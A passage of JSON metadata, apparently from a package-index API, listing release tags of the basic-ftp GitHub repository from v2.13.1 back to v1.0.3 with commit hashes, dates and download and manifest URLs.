z/v2.13.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.1/manifests"},{"name":"v2.13.0","sha":"542ce43aec992ba6d88f54f2fef281dcd2aad8d8","kind":"tag","published_at":"2018-06-05T20:06:08.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.13.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.13.0/manifests"},{"name":"v2.12.3","sha":"092c29720715d9096bda60854be658e6fa69c17c","kind":"tag","published_at":"2018-05-27T09:50:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.3/manifests"},{"name":"v2.12.2","sha":"98978f9ca78ab371001bdbf99085ee8c953b919f","kind":"tag","published_at":"2018-05-18T19:08:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.2/manifests"},{"name":"v2.12.1","sha":"00e6e3d987579fd8ce9ff8472cee16bcf3b84c2c","kind":"tag","published_at":"2018-05-18T15:19:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.1/manifests"},{"name":"v2.12.0","sha":"1c8f44b0ab6515d7ab703f68403a8da6a5b5046e","kind":"tag","published_at":"2018-05-11T15:47:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.12.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.12.0/manifests"},{"name":"v2.11.0","sha":"0e2555f2c3272f5f4a62cfeb071a3b68ecbac343","kind":"tag","published_at":"2018-04-30T16:57:39.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.11.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.11.0/manifests"},{"name":"v2.10.0","sha":"c5daa72a6223fe25ffde49118177e18417b00021","kind":"tag","published_at":"2018-04-23T20:11:00.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.10.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.10.0/manifests"},{"name":"v2.9.2","sha":"95ff793953801008c26c719516296bbd14dd8b4e","kind":"tag","published_at":"2018-04-04T19:32:35.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.2/manifests"},{"name":"v2.9.1","sha":"44b64e38a97a53a6897db55eb0d45a28f89598c2","kind":"tag","published_at":"2018-03-28T11:09:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.1/manifests"},{"name":"v2.9.0","sha":"f4dada9373271daaa5e65935d8187fad743f121c","kind":"tag","published_at":"2018-03-17T10:05:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.9.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.9.0/manifests"},{"name":"v2.8.3","sha":"07af61fa353f485cbc0741d00e24e3ccdd68d87d","kind":"tag","published_at":"2018-02-28T18:13:23.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.3/manifests"},{"name":"v2.8.2","sha":"d19d6f8cc6262ed35c404169db2507b43ac9ba7a","kind":"tag","published_at":"2018-02-12T18:10:19.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.2/manifests"},{"name":"v2.8.1","sha":"f3f80976c21623e50f51cab48a2fc1b766f8bc37","kind":"tag","published_at":"2018-02-08T17:57:06.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"bc93080f0223067665021001f94bc19619be8968","kind":"tag","published_at":"2018-02-03T06:52:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.8.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.8.0/manifests"},{"name":"v2.7.1","sha":"27e90d8b50271c229ac59d914c16b9bd13d8712d","kind":"tag","published_at":"2018-01-31T13:02:30.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.1/manifests"},{"name":"v2.7.0","sha":"251191cc2c2d8b0aa208777e1c32dc42a8904383","kind":"tag","published_at":"2018-01-31T12:56:01.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.7.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.7.0/manifests"},{"name":"v2.6.2","sha":"838de7f0688634bcf4aff67ab7c869b24ce00f02","kind":"tag","published_at":"2018-01-30T21:11:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.2/manifests"},{"name":"v2.6.1","sha":"624ce1caec7c273190e63150ec5063a6df6c756d","kind":"tag","published_at":"2018-01-29T16:18:42.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.1/manifests"},{"name":"v2.6.0","sha":"345cae67fd86fb42c935886cbc696eb503a2d831","kind":"tag","published_at":"2018-01-29T11:25:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.6.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.6.0/manifests"},{"name":"v2.5.2","sha":"0e78c6ab45a29c0a89f259cd0de24d3f2788ea2f","kind":"tag","published_at":"2018-01-24T18:09:33.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.2/manifests"},{"name":"v2.5.1","sha":"37a4d6ab1a018c929f0ac7a85b1367e7e20ef3d0","kind":"tag","published_at":"2018-01-24T10:06:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1/manifests"},{"name":"v2.5.0","sha":"ccfa95fe4c8b2a816f3ea3a704ed56c6f90cce6c","kind":"tag","published_at":"2018-01-24T10:04:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0/manifests"},{"name":"v2.4.2","sha":"1fb6d04bc34a85be555ec55d1ba6c31fa45d1051","kind":"commit","published_at":"2018-01-20T12:39:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"6322a864584c95b62687b23cd37e57905663ca6c","kind":"commit","published_at":"2018-01-20T11:47:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"306418be304fdeac9cf9b0ec52fef67458da793f","kind":"tag","published_at":"2018-01-15T21:32:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0/manifests"},{"name":"v2.3.3","sha":"070324be160af7f7e1408823eaa61c95b34fef0a","kind":"tag","published_at":"2018-01-14T17:55:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3/manifests"},{"name":"v2.3.2","sha":"f378b1b47dca0dd6aad8b98fa059994c74899039","kind":"tag","published_at":"2018-01-14T15:45:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"f31e1b396304968faca207b259399663e54a2134","kind":"tag","published_at":"2018-01-14T08:49:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"0b94f445c32fab5741621e5f25be0b4e2d0c3852","kind":"tag","published_at":"2018-01-13T21:04:02.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0/manifests"},{"name":"v2.2.1","sha":"bcbe53c1c4bfe7a0bdddb053bd236853f1f27dbe","kind":"tag","published_at":"2018-01-13T20:38:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"3d7a0690205e78c7792724f013ef3910e0ef77aa","kind":"tag","published_at":"2018-01-13T17:30:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"c4a3c00eec9753fb4fa684967fda7c76c43e1f7d","kind":"tag","published_at":"2018-01-12T19:14:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"0392e12a52d3ab2cacca643b582b1f2b898b0836","kind":"tag","published_at":"2018-01-10T12:37:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0/manifests"},{"name":"v1.2.0","sha":"e55c94c461a5ab0c0740221458222e8773faa908","kind":"tag","published_at":"2018-01-07T08:22:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"a354d92fc576e4e98c61fa319e3f879b3991b0ae","kind":"tag","published_at":"2018-01-06T18:03:14.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"3d663e02aaf7169eb6fe07dd7250ef0dfd9d6280","kind":"tag","published_at":"2018-01-06T17:07:58.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0/manifests"},{"name":"v1.0.9","sha":"2d35713910994baaabcf78dcc805cd8996dd3bbd","kind":"tag","published_at":"2018-01-04T21:00:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.9","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9/manifests"},{"name":"v1.0.8","sha":"e3ff76ad996a48291e96212c301554a8a72cf190","kind":"tag","published_at":"2018-01-04T17:03:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.8","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8/manifests"},{"name":"v1.0.7","sha":"cdbca2c538820c15fdadac8be6aea8931fd891ea","kind":"tag","published_at":"2018-01-04T06:34:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.7","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7/manifests"},{"name":"1.0.6","sha":"fad9e33b2fb8b6e8adf241136449acb71b09a724","kind":"tag","published_at":"2018-01-03T11:50:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/1.0.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6/manifests"},{"name":"v1.0.5","sha":"4789d0bbb9c69495ae575a5b2b01ddaf0c1cd80a","kind":"tag","published_at":"2018-01-02T14:36:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"749d64f17b5afcbcec024c980c23709165a24d03","kind":"tag","published_at":"2017-12-31T17:18:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4/manifests"},{"name":"v1.0.3"